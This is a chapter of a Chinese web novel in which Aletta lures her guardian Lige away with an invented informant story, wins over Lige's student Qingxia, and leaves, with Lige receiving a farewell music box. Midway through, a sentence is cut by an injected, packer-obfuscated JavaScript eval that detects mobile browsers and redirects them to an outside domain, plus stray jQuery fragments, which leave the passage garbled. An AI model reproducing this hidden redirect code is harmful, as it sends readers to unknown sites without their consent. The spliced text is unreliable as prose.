35. 要说再见了

作品:《If线的终末旅途

    起先,阿莱塔没有想把影响扩大到别的方面。


    她的目标很单纯,两步走计划:首先调走离歌,其次策反青霞,最后跑路。


    典狱长的离开必然导致监禁权的旁落,最有可能的接手人是离歌的学生,西岩理青霞。


    说服她应该比说服离歌容易很多,实在不行,之前那个良心会痛的计划,阿莱塔无法对离歌下手,但迫不得已也是可以对青霞用的。


    ……非常抱歉她确实是坏猫!


    但离歌对她的监视严密得过分,意志也几乎无法动摇。


    阿莱塔躲躲藏藏地和逐西漠商量办法,后者笑话了一番阿莱塔不听老师言囚禁在眼前,然后给出的建议很简单。


    离歌·铭风,身为异能者协会的第一战力,要是协会与别的势力开战的话,肯定忙得无暇她顾吧。


    可是阿莱塔坚定地、百分之一百地否决了。


    不!可!以!


    是的没错她是想引开离歌,但她没有想过,把这位帮了她很多的好心大姐姐卷入自己制造的、无法控制的危险中。


    而且这个思路牵连的人也太广了……说不定,会有很多无辜的人因此受伤甚至死去。


    “软弱是不行的哦。”


    逐西漠说道,


    “毕竟水花不够大的问题在她眼中根本比不上你呢,要么你就在她家里待到离世吧,这样也不错。”


    “你少激将了。就算只有这个思路可行,但具体实施也不是非得按你说的做。我会想办法的。”


    于是少女精心编织了一个漂亮的谎言,以异能者协会与珐列的争斗为骨架,填充进自己穿越的事实,穿插着知情人才清楚的事故内幕。


    一切的一切,交织成最诱人的饵。


    从头至尾,从信息的传播到真相的揭幕,都已经确定。


    中途关于协会内应与珐列外敌的可能风险,也一一提醒过离歌,以她的能力不大可能被埋伏受挫。


    说是一趟接应护送任务,实际上,等她到了就知道,这只是一次路途漫漫的礼物交接。


    ……那里什么都没有,除了一只邪恶黑猫的坏心眼。


    事到如今,想什么也没有意义了,下一阶段的目标十分明确——策反西岩理青霞小姐。


    阿莱塔想过很多话术,威逼利诱,卖惨装可怜,离开是为了离歌好,你不让我走我就不想活等等等等……


    但都没有用上,竟然顺利得不可思议?!


    说真的这种事情要不是发生在自己身上,写进小说里,阿莱塔都会吐槽这完全是都合主义吧?


    事情是这样的。


    西岩理青霞离开的次日,再次上门拜访,阿莱塔给她泡茶,两人相对无言。


    阿莱塔回忆着一遍西岩理小姐对自己的帮助,在心里唾弃自己又要利用这份善意了,做了好久的心理建设,才勉强打起一点点底气,打算开始套话。


    但先开口的反而是西岩理青霞,她将茶杯轻轻放在桌面,语气十分委婉地道:


    “……阿莱塔,我能冒昧地问一下,你是自愿留在老师家里的吗?”


    “……啊。”


    这是什么这是什么?


    ——是机会啊!


    电光石火间,阿莱塔脱口而出,


    “你、你是要帮我离开吗?”


    有着青碧眼眸的少女,手指轻轻摩挲着杯身,闻言,抬眼看着阿莱塔,语气平静温和地道:


    “如果你不愿意的话。”


    好干脆!


    比起最近自己尝试跑路的艰难,简直轻松到让人怀疑有诈。


    阿莱塔有点紧张地问道:


    “可是、离歌是你的老师,她可能会很生气的哦,没关系吗?”


    “我尊敬老师,也有自己的判断。”


    西岩理青霞的声音仍然沉着而果断,来这里赴约之前,她已经想明白了自己的态度。


    对于老师而言,如此反常地执著于一个人,无视对方的意愿也要强行留下,伤人伤己,并非明智之举。


    对于阿莱塔来说,被限制人身自由的困扰也不用多言。


    而自己呢?


    在思考此事的时候,西岩理青霞想起上次自己从老师家里找到虚弱至极的少女。


    心如烛灭,奄奄一息。


    事后她并没有询问阿莱塔因何事如此伤身,却也隐隐感觉到,这个少女的脆弱来源于心的痛苦。


    这算是怜悯吗?


    西岩理青霞不是很确定,怜悯是居高临下的,而阿莱塔并不弱小。


    但她并不希望,阿莱塔在老师的强硬下,有一天再次承受那样的绝望。


    很奇妙的,明明西岩理青霞并没有说很多话,但阿莱塔感觉到了她的决心。


    幸福来得太快让她措手不及,咬着唇想克制一下笑意,却还是破功,情不自禁地绽开了灿烂的笑脸。


    “谢谢你,电击使小姐!”


    与初见时稍微不同,已经剪了短发的少女,但瑰丽的黄昏色眼眸却和那时一样,闪亮得仿佛在发光。


    西岩理青霞看着阿莱塔雀跃地对自己说道:


    “——你又一次来拯救我了呀!”


    *


    策反大成功,盟友+1,计划顺利推进中。


    如果不是西岩理小姐还在这里,阿莱塔心情飞扬得快要跳到床上唱小曲儿了。


    但是俗话说,乐极生悲。


    要克制一点,不能因为有了苦尽甘来的苗头而得意忘形,粗心大意,导致一不小心就计划全面崩盘。


    阿莱塔摆出自己所有的零食,与西岩理青霞仔仔细细商量了一下离开的方式和细节,以及之后的善后工作。


    并贴心建议道,如果之后离歌回来了很生气的话,就把责任甩给逐西漠,不用担心那时候怎么办,因为据自己所知,那时逐西漠已经离开零海市啦。


    “多洛斯学院的逐西漠老师吗?”


    在西岩理青霞的记忆里,上次见到这位老师,还是阿莱塔住院又擅自离开医院后,自己去找她,最后在阿莱塔的小屋里喝茶,芙蕖也在的那次。


    回想当时的场景,阿莱塔与逐西漠应该是认识,但能在这种时候想到甩锅,要么就是有过节,要么就是两人比她印象中还要熟悉。


    于是她谨慎地道:“无论老师是什么反应,都是我需要承担的责任,与逐西漠老师无关。”


    “嗯……”


    阿莱塔犹豫了一下,坦白道,


    “也不是完全无关吧。那什么,她应该算是我逃狱后接应我的共犯?因为我离开这里之后的行程和她有重叠哦。哈哈。所以你就放心大胆地甩锅吧,因为麻烦终究还是会落到我这个正主头上的,债多了不愁嘛!”


    “……”


    不由自主地,西岩理青霞产生了一点微妙的、似乎在帮别人撬自己老师墙角的罪恶感。


    她不可能因为这点问题就改变主意,但也忍不住问道:


    “阿莱塔,你对老师她,算是讨厌吗?”


    “完全不哦,我只是不喜欢她一定要让我留在这里而已,有点困扰呢。”


    但说实话,西岩理青霞从表面其实看不出阿莱塔有什么困扰,虽然确实被囚禁了,但这孩子的状态看起来还挺开心的。


    少女促狭地对她眨眨眼,


    “我知道你在想什么哦。你是不是在想,我这个囚犯怎么一点都没有囚犯的样子?但是我真的不是骗你的啦,我确实很想离开。不过呢——”


    阿莱塔竖起三根手指,数到,


    “首先,我知道离歌是出于保护我才不让我走的;其次,她没有伤害我,也对我一直都很好;最后也是最重要的,你老师长得那么好看,我很喜欢,可以优待。综上所述,没有不开心的理由~”


    “……这听起来不像是非自愿留下的样子。”


    西岩理青霞只能给出这个评价了。


    阿莱塔哈哈大笑,“但是有一个理由压倒全部呀,这里很好但不是我的家,所以我一定是要走的,这个矛盾完全调和不了啦。”


    *


    零海市沐浴在湛明的春光里,世界的另一角落,却零落着萧瑟的秋意。


    离歌终于踏足了投诚者说好的地点,但路途并不一帆风顺。


    正如之前所料,消息还是被泄露了,一路上陆陆续续遇到了几波人马,珐列那边似乎对此事格外执著。


    当初的召唤到底是为了什么?真的会与阿莱塔有关吗?


    所有疑问都得等找到那个人才知道。


    但离歌在那个满是红叶的小镇待了几天,情报里那个知情人却始终没有现身,连原先的联系也已经中断。


    考虑到对方或许是觉得不够安全,离歌申请权限,将这块区域封锁盘查,也确实抓到几个藏起来的珐列探子,得到协会内部人员与珐列勾结的线索。


    但仍然没有投诚者的消息。


    难道是自己来到这里之前,就已经遭遇不测了?或者其实是被耍了一道。


    试图顺着之前维持联络的日期继续排查,从投诚者与协会约定好的时间起到现在为止。


    但正值全镇的行道树叶子变红的时候,前来观赏的旅客众多,排查难度太大。


    又找了几天,审问早早埋伏在这的珐列探子,放出消息寻找那个人,却始终一无所获。


    也是冲这事来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356649|183642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的雇佣者交代说,就是因为一直没找到自称带着异世界宝物的那个人,想着也许异能者协会的接应者到达,那家伙才会出现,所以留到现在,才被离歌抓住了。


    确认再也问不出什么东西后,离歌重新把人关起来,即使这次空手而归,但回去之后也有新的事要办。


    珐列势大,要是再不以雷霆手段清理一下协会里那些墙头草,之后只会越来越麻烦。


    临行之际,红叶飞舞的街头,平日里因为气场太过冷酷,总是受人敬而远之的离歌副院长,被一个陌生人找上门来。


    也不完全算陌生人,她是附近一家八音盒工坊的老板,离歌在这找人这几天,经常看到她和她手下的员工,两个人好奇又畏惧地探出头来看热闹。


    老板声称,她要找的是一位叫离歌·铭风的女士。


    难道是那个投诚者派来探听消息的?这么多天了,终于愿意露面了?


    挥手屏退戒备起来的下属,离歌问道:“有事?”


    “您就是离歌女士吗?”老板说,“有一位匿名的客人让我把一份礼物交给您。”


    她送上了一个被包装得很漂亮的盒子。


    下属警惕地提出要先检查一下,也许是有害的诡计,因为在这里这几天已经遇到不少了。


    老板撇撇嘴,“客人说,如果你们担心有问题,可以先看一下盒子底部的贺卡,我也会在这一直等到你们放心的时候。”


    不知为何,离歌的心脏忽然紧张地跳动起来,她没有先看贺卡,而是有点焦躁地问道:


    “客人是谁?谁让你送的?”


    “女士,客人是匿名吩咐我的。你问我,我也不知道。”


    扑通、扑通——


    离歌听到了自己心跳加速的声音,她下意识握紧礼盒,甚至将盒子捏出了凹陷,而后,几乎是屏住呼吸地,翻过了礼盒的底部。


    一张常见的精致贺卡,塞在缎带的交叉之间。


    一只画风熟悉的黑猫,抬起爪子在贺卡上对离歌招手。


    远在零海市的那个少女的声音,随着卡片的字迹一起,如钟磬般回响在离歌的脑海里:


    「其实没有人,所以不用再找了哦」


    那一瞬间,无法克制的烈风激荡而起,纸质轻薄的礼盒被轻而易举地撕扯成碎片。


    纷纷扬扬的纸片下,一个小巧的陶瓷八音盒静静地躺在手中。


    不知道是触动了哪里的开关,上盖自动弹开,轻快的歌声流淌而出。


    ——是那天在商铺前,两人驻足聆听那首,不知何名,只知道是关于告别的歌。


    但歌手不再是原唱。


    那水晶般澄净透明的嗓音,属于离歌永远也不会忘记的那个人,自己回去后再也见不到的那个人。


    手心里的贺卡也被风卷起,飘落,刚才那行字的背面,是一段更长一点的道别,甚至还用了更花里胡哨的墨水,


    「那第三次免生气券就用在这里喽,大姐姐~再见,谢谢你,不用担心,你会过得很好,我也一样」


    零海市的朗丽春日里,阿莱塔轻装简行,跟着西岩理青霞大大方方地走出了离歌家。


    一路上最后游览着零海市的模样,给在这里的熟人们发消息告别。


    而在此行的终点处,逐西漠微笑着等待她的到来,


    “想把你偷出来还真不容易呢,高塔里的公主殿下。”


    阿莱塔抿了抿嘴唇,在离歌家里度过的时光涌上心头,像是上涨的潮水一般,几乎从眼眸里溢出。


    但是现在犹豫和白痴有什么区别呢?


    她回头看了一眼陪在身边的西岩理青霞,后者对她安抚地笑了笑。


    于是阿莱塔也忍住所有不合时宜的情绪,转身跑向逐西漠,跑向自己万般筹谋终于得到的自由。


    她用力地扑到逐西漠怀里,闭上眼睛大声控诉道:


    “都是你害的,你竟然现在才来,再不来的话我要取消你和我一起走的资格了!”


    纷乱的风啊,衔起行道树的碎花片叶,纠纠缠缠,终究会在某时某刻分开。


    红叶如疾风骤雨般乱舞,猎猎风声里,千百只绯色蝴蝶都在振翅,因为一旦停下来就是永久的落幕。


    有人静静听着八音盒循环往复的歌声,无声地动了动唇。


    你提醒我这是陷阱的时候,到底是想进一步引我入局,方便自己脱身,还是真的有在关心我呢?


    ……或许这已经不重要了。


    脆弱的贺卡也撕碎在风里,混迹于乱叶中,终不可寻。


    怳然间,少女狡黠的声音犹在耳畔,大姐姐,再见了~


    再见,其实是再也不见。